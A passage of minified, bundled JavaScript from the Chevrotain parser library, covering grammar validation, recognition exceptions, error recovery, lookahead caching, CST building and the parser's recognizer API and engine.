s=a.name;if(jn(i,s)){let l=r.buildNamespaceConflictError(a);n.push({message:l,type:Gi.CONFLICT_TOKENS_RULES_NAMESPACE,ruleName:s})}}),n}var nP,lb,iP,cb=N(()=>{"use strict";Yt();js();ps();E1();sb();Vp();o(Hde,"validateLookahead");o(qde,"validateGrammar");o(OYe,"validateDuplicateProductions");o(PYe,"identifyProductionForDuplicates");o(Wde,"getExtraProductionArgument");nP=class extends ds{static{o(this,"OccurrenceValidationCollector")}constructor(){super(...arguments),this.allProductions=[]}visitNonTerminal(e){this.allProductions.push(e)}visitOption(e){this.allProductions.push(e)}visitRepetitionWithSeparator(e){this.allProductions.push(e)}visitRepetitionMandatory(e){this.allProductions.push(e)}visitRepetitionMandatoryWithSeparator(e){this.allProductions.push(e)}visitRepetition(e){this.allProductions.push(e)}visitAlternation(e){this.allProductions.push(e)}visitTerminal(e){this.allProductions.push(e)}};o(BYe,"validateRuleDoesNotAlreadyExist");o(Yde,"validateRuleIsOverridden");o(aP,"validateNoLeftRecursion");o(hS,"getFirstNoneTerminal");lb=class extends ds{static{o(this,"OrCollector")}constructor(){super(...arguments),this.alternations=[]}visitAlternation(e){this.alternations.push(e)}};o(Xde,"validateEmptyOrAlternative");o(jde,"validateAmbiguousAlternationAlternatives");iP=class extends ds{static{o(this,"RepetitionCollector")}constructor(){super(...arguments),this.allProductions=[]}visitRepetitionWithSeparator(e){this.allProductions.push(e)}visitRepetitionMandatory(e){this.allProductions.push(e)}visitRepetitionMandatoryWithSeparator(e){this.allProductions.push(e)}visitRepetition(e){this.allProductions.push(e)}};o(FYe,"validateTooManyAlts");o(Kde,"validateSomeNonEmptyLookaheadPath");o($Ye,"checkAlternativesAmbiguities");o(zYe,"checkPrefixAlternativesAmbiguities");o(GYe,"checkTerminalAndNoneTerminalsNameSpace")});function Qde(t){let e=of(t,{errMsgProvider:Mde}),r={};return Ae(t.rules,n=>{r[n.name]=n}),Ide(r,e.errMsgProvider)}function Zde(t){return t=of(t,{errMsgProvider:Gl}),qde(t.rules,t.tokenTypes,t.errMsgProvider,t.grammarName)}var Jde=N(()=>{"use strict";Yt();Ode();cb();b1();o(Qde,"resolveGrammar");o(Zde,"validateGrammar")});function Bf(t){return jn(ipe,t.name)}var epe,tpe,rpe,npe,ipe,S1,Hp,ub,hb,fb,C1=N(()=>{"use strict";Yt();epe="MismatchedTokenException",tpe="NoViableAltException",rpe="EarlyExitException",npe="NotAllInputParsedException",ipe=[epe,tpe,rpe,npe];Object.freeze(ipe);o(Bf,"isRecognitionException");S1=class extends Error{static{o(this,"RecognitionException")}constructor(e,r){super(e),this.token=r,this.resyncedTokens=[],Object.setPrototypeOf(this,new.target.prototype),Error.captureStackTrace&&Error.captureStackTrace(this,this.constructor)}},Hp=class extends S1{static{o(this,"MismatchedTokenException")}constructor(e,r,n){super(e,r),this.previousToken=n,this.name=epe}},ub=class extends S1{static{o(this,"NoViableAltException")}constructor(e,r,n){super(e,r),this.previousToken=n,this.name=tpe}},hb=class extends S1{static{o(this,"NotAllInputParsedException")}constructor(e,r){super(e,r),this.name=npe}},fb=class extends S1{static{o(this,"EarlyExitException")}constructor(e,r,n){super(e,r),this.previousToken=n,this.name=rpe}}});function VYe(t,e,r,n,i,a,s){let l=this.getKeyForAutomaticLookahead(n,i),u=this.firstAfterRepMap[l];if(u===void 0){let p=this.getCurrRuleFullName(),m=this.getGAstProductions()[p];u=new a(m,i).startWalking(),this.firstAfterRepMap[l]=u}let h=u.token,f=u.occurrence,d=u.isEndOfRule;this.RULE_STACK.length===1&&d&&h===void 0&&(h=yo,f=1),!(h===void 0||f===void 0)&&this.shouldInRepetitionRecoveryBeTried(h,f,s)&&this.tryInRepetitionRecovery(t,e,r,h)}var sP,lP,oP,fS,cP=N(()=>{"use strict";Up();Yt();C1();VO();js();sP={},lP="InRuleRecoveryException",oP=class extends Error{static{o(this,"InRuleRecoveryException")}constructor(e){super(e),this.name=lP}},fS=class{static{o(this,"Recoverable")}initRecoverable(e){this.firstAfterRepMap={},this.resyncFollows={},this.recoveryEnabled=Ft(e,"recoveryEnabled")?e.recoveryEnabled:ms.recoveryEnabled,this.recoveryEnabled&&(this.attemptInRepetitionRecovery=VYe)}getTokenToInsert(e){let r=Qu(e,"",NaN,NaN,NaN,NaN,NaN,NaN);return r.isInsertedInRecovery=!0,r}canTokenTypeBeInsertedInRecovery(e){return!0}canTokenTypeBeDeletedInRecovery(e){return!0}tryInRepetitionRecovery(e,r,n,i){let a=this.findReSyncTokenType(),s=this.exportLexerState(),l=[],u=!1,h=this.LA(1),f=this.LA(1),d=o(()=>{let p=this.LA(0),m=this.errorMessageProvider.buildMismatchTokenMessage({expected:i,actual:h,previous:p,ruleName:this.getCurrRuleFullName()}),g=new Hp(m,h,this.LA(0));g.resyncedTokens=Bu(l),this.SAVE_ERROR(g)},"generateErrorMessage");for(;!u;)if(this.tokenMatcher(f,i)){d();return}else if(n.call(this)){d(),e.apply(this,r);return}else this.tokenMatcher(f,a)?u=!0:(f=this.SKIP_TOKEN(),this.addToResyncTokens(f,l));this.importLexerState(s)}shouldInRepetitionRecoveryBeTried(e,r,n){return!(n===!1||this.tokenMatcher(this.LA(1),e)||this.isBackTracking()||this.canPerformInRuleRecovery(e,this.getFollowsForInRuleRecovery(e,r)))}getFollowsForInRuleRecovery(e,r){let n=this.getCurrentGrammarPath(e,r);return this.getNextPossibleTokenTypes(n)}tryInRuleRecovery(e,r){if(this.canRecoverWithSingleTokenInsertion(e,r))return this.getTokenToInsert(e);if(this.canRecoverWithSingleTokenDeletion(e)){let n=this.SKIP_TOKEN();return this.consumeToken(),n}throw new oP("sad sad panda")}canPerformInRuleRecovery(e,r){return this.canRecoverWithSingleTokenInsertion(e,r)||this.canRecoverWithSingleTokenDeletion(e)}canRecoverWithSingleTokenInsertion(e,r){if(!this.canTokenTypeBeInsertedInRecovery(e)||mr(r))return!1;let n=this.LA(1);return os(r,a=>this.tokenMatcher(n,a))!==void 0}canRecoverWithSingleTokenDeletion(e){return this.canTokenTypeBeDeletedInRecovery(e)?this.tokenMatcher(this.LA(2),e):!1}isInCurrentRuleReSyncSet(e){let r=this.getCurrFollowKey(),n=this.getFollowSetFromFollowKey(r);return jn(n,e)}findReSyncTokenType(){let e=this.flattenFollowSet(),r=this.LA(1),n=2;for(;;){let i=os(e,a=>nb(r,a));if(i!==void 0)return i;r=this.LA(n),n++}}getCurrFollowKey(){if(this.RULE_STACK.length===1)return sP;let e=this.getLastExplicitRuleShortName(),r=this.getLastExplicitRuleOccurrenceIndex(),n=this.getPreviousExplicitRuleShortName();return{ruleName:this.shortRuleNameToFullName(e),idxInCallingRule:r,inRule:this.shortRuleNameToFullName(n)}}buildFullFollowKeyStack(){let e=this.RULE_STACK,r=this.RULE_OCCURRENCE_STACK;return rt(e,(n,i)=>i===0?sP:{ruleName:this.shortRuleNameToFullName(n),idxInCallingRule:r[i],inRule:this.shortRuleNameToFullName(e[i-1])})}flattenFollowSet(){let e=rt(this.buildFullFollowKeyStack(),r=>this.getFollowSetFromFollowKey(r));return Qr(e)}getFollowSetFromFollowKey(e){if(e===sP)return[yo];let r=e.ruleName+e.idxInCallingRule+KE+e.inRule;return this.resyncFollows[r]}addToResyncTokens(e,r){return this.tokenMatcher(e,yo)||r.push(e),r}reSyncTo(e){let r=[],n=this.LA(1);for(;this.tokenMatcher(n,e)===!1;)n=this.SKIP_TOKEN(),this.addToResyncTokens(n,r);return Bu(r)}attemptInRepetitionRecovery(e,r,n,i,a,s,l){}getCurrentGrammarPath(e,r){let n=this.getHumanReadableRuleStack(),i=ln(this.RULE_OCCURRENCE_STACK);return{ruleStack:n,occurrenceStack:i,lastTok:e,lastTokOccurrence:r}}getHumanReadableRuleStack(){return rt(this.RULE_STACK,e=>this.shortRuleNameToFullName(e))}};o(VYe,"attemptInRepetitionRecovery")});function dS(t,e,r){return r|e|t}var pS=N(()=>{"use strict";o(dS,"getKeyForAutomaticLookahead")});var Ju,uP=N(()=>{"use strict";Yt();b1();js();cb();E1();Ju=class{static{o(this,"LLkLookaheadStrategy")}constructor(e){var r;this.maxLookahead=(r=e?.maxLookahead)!==null&&r!==void 0?r:ms.maxLookahead}validate(e){let r=this.validateNoLeftRecursion(e.rules);if(mr(r)){let n=this.validateEmptyOrAlternatives(e.rules),i=this.validateAmbiguousAlternationAlternatives(e.rules,this.maxLookahead),a=this.validateSomeNonEmptyLookaheadPath(e.rules,this.maxLookahead);return[...r,...n,...i,...a]}return r}validateNoLeftRecursion(e){return ga(e,r=>aP(r,r,Gl))}validateEmptyOrAlternatives(e){return ga(e,r=>Xde(r,Gl))}validateAmbiguousAlternationAlternatives(e,r){return ga(e,n=>jde(n,r,Gl))}validateSomeNonEmptyLookaheadPath(e,r){return Kde(e,r,Gl)}buildLookaheadForAlternation(e){return Bde(e.prodOccurrence,e.rule,e.maxLookahead,e.hasPredicates,e.dynamicTokensEnabled,$de)}buildLookaheadForOptional(e){return Fde(e.prodOccurrence,e.rule,e.maxLookahead,e.dynamicTokensEnabled,ob(e.prodType),zde)}}});function UYe(t){mS.reset(),t.accept(mS);let e=mS.dslMethods;return mS.reset(),e}var gS,hP,mS,ape=N(()=>{"use strict";Yt();js();pS();ps();uP();gS=class{static{o(this,"LooksAhead")}initLooksAhead(e){this.dynamicTokensEnabled=Ft(e,"dynamicTokensEnabled")?e.dynamicTokensEnabled:ms.dynamicTokensEnabled,this.maxLookahead=Ft(e,"maxLookahead")?e.maxLookahead:ms.maxLookahead,this.lookaheadStrategy=Ft(e,"lookaheadStrategy")?e.lookaheadStrategy:new Ju({maxLookahead:this.maxLookahead}),this.lookAheadFuncsCache=new Map}preComputeLookaheadFunctions(e){Ae(e,r=>{this.TRACE_INIT(`${r.name} Rule Lookahead`,()=>{let{alternation:n,repetition:i,option:a,repetitionMandatory:s,repetitionMandatoryWithSeparator:l,repetitionWithSeparator:u}=UYe(r);Ae(n,h=>{let f=h.idx===0?"":h.idx;this.TRACE_INIT(`${Xs(h)}${f}`,()=>{let d=this.lookaheadStrategy.buildLookaheadForAlternation({prodOccurrence:h.idx,rule:r,maxLookahead:h.maxLookahead||this.maxLookahead,hasPredicates:h.hasPredicates,dynamicTokensEnabled:this.dynamicTokensEnabled}),p=dS(this.fullRuleNameToShort[r.name],256,h.idx);this.setLaFuncCache(p,d)})}),Ae(i,h=>{this.computeLookaheadFunc(r,h.idx,768,"Repetition",h.maxLookahead,Xs(h))}),Ae(a,h=>{this.computeLookaheadFunc(r,h.idx,512,"Option",h.maxLookahead,Xs(h))}),Ae(s,h=>{this.computeLookaheadFunc(r,h.idx,1024,"RepetitionMandatory",h.maxLookahead,Xs(h))}),Ae(l,h=>{this.computeLookaheadFunc(r,h.idx,1536,"RepetitionMandatoryWithSeparator",h.maxLookahead,Xs(h))}),Ae(u,h=>{this.computeLookaheadFunc(r,h.idx,1280,"RepetitionWithSeparator",h.maxLookahead,Xs(h))})})})}computeLookaheadFunc(e,r,n,i,a,s){this.TRACE_INIT(`${s}${r===0?"":r}`,()=>{let l=this.lookaheadStrategy.buildLookaheadForOptional({prodOccurrence:r,rule:e,maxLookahead:a||this.maxLookahead,dynamicTokensEnabled:this.dynamicTokensEnabled,prodType:i}),u=dS(this.fullRuleNameToShort[e.name],n,r);this.setLaFuncCache(u,l)})}getKeyForAutomaticLookahead(e,r){let n=this.getLastExplicitRuleShortName();return dS(n,e,r)}getLaFuncFromCache(e){return this.lookAheadFuncsCache.get(e)}setLaFuncCache(e,r){this.lookAheadFuncsCache.set(e,r)}},hP=class extends ds{static{o(this,"DslMethodsCollectorVisitor")}constructor(){super(...arguments),this.dslMethods={option:[],alternation:[],repetition:[],repetitionWithSeparator:[],repetitionMandatory:[],repetitionMandatoryWithSeparator:[]}}reset(){this.dslMethods={option:[],alternation:[],repetition:[],repetitionWithSeparator:[],repetitionMandatory:[],repetitionMandatoryWithSeparator:[]}}visitOption(e){this.dslMethods.option.push(e)}visitRepetitionWithSeparator(e){this.dslMethods.repetitionWithSeparator.push(e)}visitRepetitionMandatory(e){this.dslMethods.repetitionMandatory.push(e)}visitRepetitionMandatoryWithSeparator(e){this.dslMethods.repetitionMandatoryWithSeparator.push(e)}visitRepetition(e){this.dslMethods.repetition.push(e)}visitAlternation(e){this.dslMethods.alternation.push(e)}},mS=new hP;o(UYe,"collectMethods")});function pP(t,e){isNaN(t.startOffset)===!0?(t.startOffset=e.startOffset,t.endOffset=e.endOffset):t.endOffset{"use strict";o(pP,"setNodeLocationOnlyOffset");o(mP,"setNodeLocationFull");o(spe,"addTerminalToCst");o(ope,"addNoneTerminalToCst")});function gP(t,e){Object.defineProperty(t,HYe,{enumerable:!1,configurable:!0,writable:!1,value:e})}var HYe,cpe=N(()=>{"use strict";HYe="name";o(gP,"defineNameProp")});function qYe(t,e){let r=qr(t),n=r.length;for(let i=0;is.msg);throw Error(`Errors Detected in CST Visitor <${this.constructor.name}>: + ${a.join(` + +`).replace(/\n/g,` + `)}`)}},"validateVisitor")};return r.prototype=n,r.prototype.constructor=r,r._RULE_NAMES=e,r}function hpe(t,e,r){let n=o(function(){},"derivedConstructor");gP(n,t+"BaseSemanticsWithDefaults");let i=Object.create(r.prototype);return Ae(e,a=>{i[a]=qYe}),n.prototype=i,n.prototype.constructor=n,n}function WYe(t,e){return YYe(t,e)}function YYe(t,e){let r=Zr(e,i=>Si(t[i])===!1),n=rt(r,i=>({msg:`Missing visitor method: <${i}> on ${t.constructor.name} CST Visitor.`,type:yP.MISSING_METHOD,methodName:i}));return _c(n)}var yP,fpe=N(()=>{"use strict";Yt();cpe();o(qYe,"defaultVisit");o(upe,"createBaseSemanticVisitorConstructor");o(hpe,"createBaseVisitorConstructorWithDefaults");(function(t){t[t.REDUNDANT_METHOD=0]="REDUNDANT_METHOD",t[t.MISSING_METHOD=1]="MISSING_METHOD"})(yP||(yP={}));o(WYe,"validateVisitor");o(YYe,"validateMissingCstMethods")});var bS,dpe=N(()=>{"use strict";lpe();Yt();fpe();js();bS=class{static{o(this,"TreeBuilder")}initTreeBuilder(e){if(this.CST_STACK=[],this.outputCst=e.outputCst,this.nodeLocationTracking=Ft(e,"nodeLocationTracking")?e.nodeLocationTracking:ms.nodeLocationTracking,!this.outputCst)this.cstInvocationStateUpdate=si,this.cstFinallyStateUpdate=si,this.cstPostTerminal=si,this.cstPostNonTerminal=si,this.cstPostRule=si;else if(/full/i.test(this.nodeLocationTracking))this.recoveryEnabled?(this.setNodeLocationFromToken=mP,this.setNodeLocationFromNode=mP,this.cstPostRule=si,this.setInitialNodeLocation=this.setInitialNodeLocationFullRecovery):(this.setNodeLocationFromToken=si,this.setNodeLocationFromNode=si,this.cstPostRule=this.cstPostRuleFull,this.setInitialNodeLocation=this.setInitialNodeLocationFullRegular);else if(/onlyOffset/i.test(this.nodeLocationTracking))this.recoveryEnabled?(this.setNodeLocationFromToken=pP,this.setNodeLocationFromNode=pP,this.cstPostRule=si,this.setInitialNodeLocation=this.setInitialNodeLocationOnlyOffsetRecovery):(this.setNodeLocationFromToken=si,this.setNodeLocationFromNode=si,this.cstPostRule=this.cstPostRuleOnlyOffset,this.setInitialNodeLocation=this.setInitialNodeLocationOnlyOffsetRegular);else if(/none/i.test(this.nodeLocationTracking))this.setNodeLocationFromToken=si,this.setNodeLocationFromNode=si,this.cstPostRule=si,this.setInitialNodeLocation=si;else throw Error(`Invalid config option: "${e.nodeLocationTracking}"`)}setInitialNodeLocationOnlyOffsetRecovery(e){e.location={startOffset:NaN,endOffset:NaN}}setInitialNodeLocationOnlyOffsetRegular(e){e.location={startOffset:this.LA(1).startOffset,endOffset:NaN}}setInitialNodeLocationFullRecovery(e){e.location={startOffset:NaN,startLine:NaN,startColumn:NaN,endOffset:NaN,endLine:NaN,endColumn:NaN}}setInitialNodeLocationFullRegular(e){let r=this.LA(1);e.location={startOffset:r.startOffset,startLine:r.startLine,startColumn:r.startColumn,endOffset:NaN,endLine:NaN,endColumn:NaN}}cstInvocationStateUpdate(e){let r={name:e,children:Object.create(null)};this.setInitialNodeLocation(r),this.CST_STACK.push(r)}cstFinallyStateUpdate(){this.CST_STACK.pop()}cstPostRuleFull(e){let r=this.LA(0),n=e.location;n.startOffset<=r.startOffset?(n.endOffset=r.endOffset,n.endLine=r.endLine,n.endColumn=r.endColumn):(n.startOffset=NaN,n.startLine=NaN,n.startColumn=NaN)}cstPostRuleOnlyOffset(e){let r=this.LA(0),n=e.location;n.startOffset<=r.startOffset?n.endOffset=r.endOffset:n.startOffset=NaN}cstPostTerminal(e,r){let n=this.CST_STACK[this.CST_STACK.length-1];spe(n,r,e),this.setNodeLocationFromToken(n.location,r)}cstPostNonTerminal(e,r){let n=this.CST_STACK[this.CST_STACK.length-1];ope(n,r,e),this.setNodeLocationFromNode(n.location,e.location)}getBaseCstVisitorConstructor(){if(xr(this.baseCstVisitorConstructor)){let e=upe(this.className,qr(this.gastProductionsCache));return this.baseCstVisitorConstructor=e,e}return this.baseCstVisitorConstructor}getBaseCstVisitorConstructorWithDefaults(){if(xr(this.baseCstVisitorWithDefaultsConstructor)){let e=hpe(this.className,qr(this.gastProductionsCache),this.getBaseCstVisitorConstructor());return this.baseCstVisitorWithDefaultsConstructor=e,e}return this.baseCstVisitorWithDefaultsConstructor}getLastExplicitRuleShortName(){let e=this.RULE_STACK;return e[e.length-1]}getPreviousExplicitRuleShortName(){let e=this.RULE_STACK;return e[e.length-2]}getLastExplicitRuleOccurrenceIndex(){let e=this.RULE_OCCURRENCE_STACK;return e[e.length-1]}}});var TS,ppe=N(()=>{"use strict";js();TS=class{static{o(this,"LexerAdapter")}initLexerAdapter(){this.tokVector=[],this.tokVectorLength=0,this.currIdx=-1}set input(e){if(this.selfAnalysisDone!==!0)throw Error("Missing invocation at the end of the Parser's constructor.");this.reset(),this.tokVector=e,this.tokVectorLength=e.length}get input(){return this.tokVector}SKIP_TOKEN(){return this.currIdx<=this.tokVector.length-2?(this.consumeToken(),this.LA(1)):A1}LA(e){let r=this.currIdx+e;return r<0||this.tokVectorLength<=r?A1:this.tokVector[r]}consumeToken(){this.currIdx++}exportLexerState(){return this.currIdx}importLexerState(e){this.currIdx=e}resetLexerState(){this.currIdx=-1}moveToTerminatedState(){this.currIdx=this.tokVector.length-1}getLexerPosition(){return this.exportLexerState()}}});var wS,mpe=N(()=>{"use strict";Yt();C1();js();b1();cb();ps();wS=class{static{o(this,"RecognizerApi")}ACTION(e){return e.call(this)}consume(e,r,n){return this.consumeInternal(r,e,n)}subrule(e,r,n){return this.subruleInternal(r,e,n)}option(e,r){return this.optionInternal(r,e)}or(e,r){return this.orInternal(r,e)}many(e,r){return this.manyInternal(e,r)}atLeastOne(e,r){return this.atLeastOneInternal(e,r)}CONSUME(e,r){return this.consumeInternal(e,0,r)}CONSUME1(e,r){return this.consumeInternal(e,1,r)}CONSUME2(e,r){return this.consumeInternal(e,2,r)}CONSUME3(e,r){return this.consumeInternal(e,3,r)}CONSUME4(e,r){return this.consumeInternal(e,4,r)}CONSUME5(e,r){return this.consumeInternal(e,5,r)}CONSUME6(e,r){return this.consumeInternal(e,6,r)}CONSUME7(e,r){return this.consumeInternal(e,7,r)}CONSUME8(e,r){return this.consumeInternal(e,8,r)}CONSUME9(e,r){return this.consumeInternal(e,9,r)}SUBRULE(e,r){return this.subruleInternal(e,0,r)}SUBRULE1(e,r){return this.subruleInternal(e,1,r)}SUBRULE2(e,r){return this.subruleInternal(e,2,r)}SUBRULE3(e,r){return this.subruleInternal(e,3,r)}SUBRULE4(e,r){return this.subruleInternal(e,4,r)}SUBRULE5(e,r){return this.subruleInternal(e,5,r)}SUBRULE6(e,r){return this.subruleInternal(e,6,r)}SUBRULE7(e,r){return this.subruleInternal(e,7,r)}SUBRULE8(e,r){return this.subruleInternal(e,8,r)}SUBRULE9(e,r){return this.subruleInternal(e,9,r)}OPTION(e){return this.optionInternal(e,0)}OPTION1(e){return this.optionInternal(e,1)}OPTION2(e){return this.optionInternal(e,2)}OPTION3(e){return this.optionInternal(e,3)}OPTION4(e){return this.optionInternal(e,4)}OPTION5(e){return this.optionInternal(e,5)}OPTION6(e){return this.optionInternal(e,6)}OPTION7(e){return this.optionInternal(e,7)}OPTION8(e){return this.optionInternal(e,8)}OPTION9(e){return this.optionInternal(e,9)}OR(e){return this.orInternal(e,0)}OR1(e){return this.orInternal(e,1)}OR2(e){return this.orInternal(e,2)}OR3(e){return this.orInternal(e,3)}OR4(e){return this.orInternal(e,4)}OR5(e){return this.orInternal(e,5)}OR6(e){return this.orInternal(e,6)}OR7(e){return this.orInternal(e,7)}OR8(e){return this.orInternal(e,8)}OR9(e){return this.orInternal(e,9)}MANY(e){this.manyInternal(0,e)}MANY1(e){this.manyInternal(1,e)}MANY2(e){this.manyInternal(2,e)}MANY3(e){this.manyInternal(3,e)}MANY4(e){this.manyInternal(4,e)}MANY5(e){this.manyInternal(5,e)}MANY6(e){this.manyInternal(6,e)}MANY7(e){this.manyInternal(7,e)}MANY8(e){this.manyInternal(8,e)}MANY9(e){this.manyInternal(9,e)}MANY_SEP(e){this.manySepFirstInternal(0,e)}MANY_SEP1(e){this.manySepFirstInternal(1,e)}MANY_SEP2(e){this.manySepFirstInternal(2,e)}MANY_SEP3(e){this.manySepFirstInternal(3,e)}MANY_SEP4(e){this.manySepFirstInternal(4,e)}MANY_SEP5(e){this.manySepFirstInternal(5,e)}MANY_SEP6(e){this.manySepFirstInternal(6,e)}MANY_SEP7(e){this.manySepFirstInternal(7,e)}MANY_SEP8(e){this.manySepFirstInternal(8,e)}MANY_SEP9(e){this.manySepFirstInternal(9,e)}AT_LEAST_ONE(e){this.atLeastOneInternal(0,e)}AT_LEAST_ONE1(e){return this.atLeastOneInternal(1,e)}AT_LEAST_ONE2(e){this.atLeastOneInternal(2,e)}AT_LEAST_ONE3(e){this.atLeastOneInternal(3,e)}AT_LEAST_ONE4(e){this.atLeastOneInternal(4,e)}AT_LEAST_ONE5(e){this.atLeastOneInternal(5,e)}AT_LEAST_ONE6(e){this.atLeastOneInternal(6,e)}AT_LEAST_ONE7(e){this.atLeastOneInternal(7,e)}AT_LEAST_ONE8(e){this.atLeastOneInternal(8,e)}AT_LEAST_ONE9(e){this.atLeastOneInternal(9,e)}AT_LEAST_ONE_SEP(e){this.atLeastOneSepFirstInternal(0,e)}AT_LEAST_ONE_SEP1(e){this.atLeastOneSepFirstInternal(1,e)}AT_LEAST_ONE_SEP2(e){this.atLeastOneSepFirstInternal(2,e)}AT_LEAST_ONE_SEP3(e){this.atLeastOneSepFirstInternal(3,e)}AT_LEAST_ONE_SEP4(e){this.atLeastOneSepFirstInternal(4,e)}AT_LEAST_ONE_SEP5(e){this.atLeastOneSepFirstInternal(5,e)}AT_LEAST_ONE_SEP6(e){this.atLeastOneSepFirstInternal(6,e)}AT_LEAST_ONE_SEP7(e){this.atLeastOneSepFirstInternal(7,e)}AT_LEAST_ONE_SEP8(e){this.atLeastOneSepFirstInternal(8,e)}AT_LEAST_ONE_SEP9(e){this.atLeastOneSepFirstInternal(9,e)}RULE(e,r,n=_1){if(jn(this.definedRulesNames,e)){let s={message:Gl.buildDuplicateRuleNameError({topLevelRule:e,grammarName:this.className}),type:Gi.DUPLICATE_RULE_NAME,ruleName:e};this.definitionErrors.push(s)}this.definedRulesNames.push(e);let i=this.defineRule(e,r,n);return this[e]=i,i}OVERRIDE_RULE(e,r,n=_1){let i=Yde(e,this.definedRulesNames,this.className);this.definitionErrors=this.definitionErrors.concat(i);let a=this.defineRule(e,r,n);return this[e]=a,a}BACKTRACK(e,r){return function(){this.isBackTrackingStack.push(1);let n=this.saveRecogState();try{return e.apply(this,r),!0}catch(i){if(Bf(i))return!1;throw i}finally{this.reloadRecogState(n),this.isBackTrackingStack.pop()}}}getGAstProductions(){return this.gastProductionsCache}getSerializedGastProductions(){return YE(kr(this.gastProductionsCache))}}});var kS,gpe=N(()=>{"use strict";Yt();pS();C1();E1();sb();js();cP();Up();Vp();kS=class{static{o(this,"RecognizerEngine")}initRecognizerEngine(e,r){if(this.className=this.constructor.name,this.shortRuleNameToFull={},this.fullRuleNameToShort={},this.ruleShortNameIdx=256,this.tokenMatcher=v1,this.subruleIdx=0,this.definedRulesNames=[],this.tokensMap={},this.isBackTrackingStack=[],this.RULE_STACK=[],this.RULE_OCCURRENCE_STACK=[],this.gastProductionsCache={},Ft(r,"serializedGrammar"))throw Error(`The Parser's configuration can no longer contain a property. + See: https://chevrotain.io/docs/changes/BREAKING_CHANGES.html#_6-0-0 + For Further details.`);if(Bt(e)){if(mr(e))throw Error(`A Token Vocabulary cannot be empty. + Note that the first argument for the parser constructor + is no longer a Token vector (since v4.0).`);if(typeof e[0].startOffset=="number")throw Error(`The Parser constructor no longer accepts a token vector as the first argument. + See: https://chevrotain.io/docs/changes/BREAKING_CHANGES.html#_4-0-0 + For Further details.`)}if(Bt(e))this.tokensMap=Jr(e,(a,s)=>(a[s.name]=s,a),{});else if(Ft(e,"modes")&&Pa(Qr(kr(e.modes)),Ede)){let a=Qr(kr(e.modes)),s=qm(a);this.tokensMap=Jr(s,(l,u)=>(l[u.name]=u,l),{})}else if(Sn(e))this.tokensMap=ln(e);else throw new Error(" argument must be An Array of Token constructors, A dictionary of Token constructors or an IMultiModeLexerDefinition");this.tokensMap.EOF=yo;let n=Ft(e,"modes")?Qr(kr(e.modes)):kr(e),i=Pa(n,a=>mr(a.categoryMatches));this.tokenMatcher=i?v1:Xu,ju(kr(this.tokensMap))}defineRule(e,r,n){if(this.selfAnalysisDone)throw Error(`Grammar rule <${e}> may not be defined after the 'performSelfAnalysis' method has been called' +Make sure that all grammar rule definitions are done before 'performSelfAnalysis' is called.`);let i=Ft(n,"resyncEnabled")?n.resyncEnabled:_1.resyncEnabled,a=Ft(n,"recoveryValueFunc")?n.recoveryValueFunc:_1.recoveryValueFunc,s=this.ruleShortNameIdx<<12;this.ruleShortNameIdx++,this.shortRuleNameToFull[s]=e,this.fullRuleNameToShort[e]=s;let l;return this.outputCst===!0?l=o(function(...f){try{this.ruleInvocationStateUpdate(s,e,this.subruleIdx),r.apply(this,f);let d=this.CST_STACK[this.CST_STACK.length-1];return this.cstPostRule(d),d}catch(d){return this.invokeRuleCatch(d,i,a)}finally{this.ruleFinallyStateUpdate()}},"invokeRuleWithTry"):l=o(function(...f){try{return this.ruleInvocationStateUpdate(s,e,this.subruleIdx),r.apply(this,f)}catch(d){return this.invokeRuleCatch(d,i,a)}finally{this.ruleFinallyStateUpdate()}},"invokeRuleWithTryCst"),Object.assign(l,{ruleName:e,originalGrammarAction:r})}invokeRuleCatch(e,r,n){let i=this.RULE_STACK.length===1,a=r&&!this.isBackTracking()&&this.recoveryEnabled;if(Bf(e)){let s=e;if(a){let l=this.findReSyncTokenType();if(this.isInCurrentRuleReSyncSet(l))if(s.resyncedTokens=this.reSyncTo(l),this.outputCst){let u=this.CST_STACK[this.CST_STACK.length-1];return u.recoveredNode=!0,u}else return n(e);else{if(this.outputCst){let u=this.CST_STACK[this.CST_STACK.length-1];u.recoveredNode=!0,s.partialCstResult=u}throw s}}else{if(i)return this.moveToTerminatedState(),n(e);throw s}}else throw e}optionInternal(e,r){let n=this.getKeyForAutomaticLookahead(512,r);return this.optionInternalLogic(e,r,n)}optionInternalLogic(e,r,n){let i=this.getLaFuncFromCache(n),a;if(typeof e!="function"){a=e.DEF;let s=e.GATE;if(s!==void 0){let l=i;i=o(()=>s.call(this)&&l.call(this),"lookAheadFunc")}}else a=e;if(i.call(this)===!0)return a.call(this)}atLeastOneInternal(e,r){let n=this.getKeyForAutomaticLookahead(1024,e);return this.atLeastOneInternalLogic(e,r,n)}atLeastOneInternalLogic(e,r,n){let i=this.getLaFuncFromCache(n),a;if(typeof r!="function"){a=r.DEF;let s=r.GATE;if(s!==void 0){let l=i;i=o(()=>s.call(this)&&l.call(this),"lookAheadFunc")}}else a=r;if(i.call(this)===!0){let s=this.doSingleRepetition(a);for(;i.call(this)===!0&&s===!0;)s=this.doSingleRepetition(a)}else throw this.raiseEarlyExitException(e,Jn.REPETITION_MANDATORY,r.ERR_MSG);this.attemptInRepetitionRecovery(this.atLeastOneInternal,[e,r],i,1024,e,aS)}atLeastOneSepFirstInternal(e,r){let n=this.getKeyForAutomaticLookahead(1536,e);this.atLeastOneSepFirstInternalLogic(e,r,n)}atLeastOneSepFirstInternalLogic(e,r,n){let i=r.DEF,a=r.SEP;if(this.getLaFuncFromCache(n).call(this)===!0){i.call(this);let l=o(()=>this.tokenMatcher(this.LA(1),a),"separatorLookAheadFunc");for(;this.tokenMatcher(this.LA(1),a)===!0;)this.CONSUME(a),i.call(this);this.attemptInRepetitionRecovery(this.repetitionSepSecondInternal,[e,a,l,i,ab],l,1536,e,ab)}else throw this.raiseEarlyExitException(e,Jn.REPETITION_MANDATORY_WITH_SEPARATOR,r.ERR_MSG)}manyInternal(e,r){let n=this.getKeyForAutomaticLookahead(768,e);return this.manyInternalLogic(e,r,n)}manyInternalLogic(e,r,n){let i=this.getLaFuncFromCache(n),a;if(typeof r!="function"){a=r.DEF;let l=r.GATE;if(l!==void 0){let u=i;i=o(()=>l.call(this)&&u.call(this),"lookaheadFunction")}}else a=r;let s=!0;for(;i.call(this)===!0&&s===!0;)s=this.doSingleRepetition(a);this.attemptInRepetitionRecovery(this.manyInternal,[e,r],i,768,e,iS,s)}manySepFirstInternal(e,r){let n=this.getKeyForAutomaticLookahead(1280,e);this.manySepFirstInternalLogic(e,r,n)}manySepFirstInternalLogic(e,r,n){let i=r.DEF,a=r.SEP;if(this.getLaFuncFromCache(n).call(this)===!0){i.call(this);let 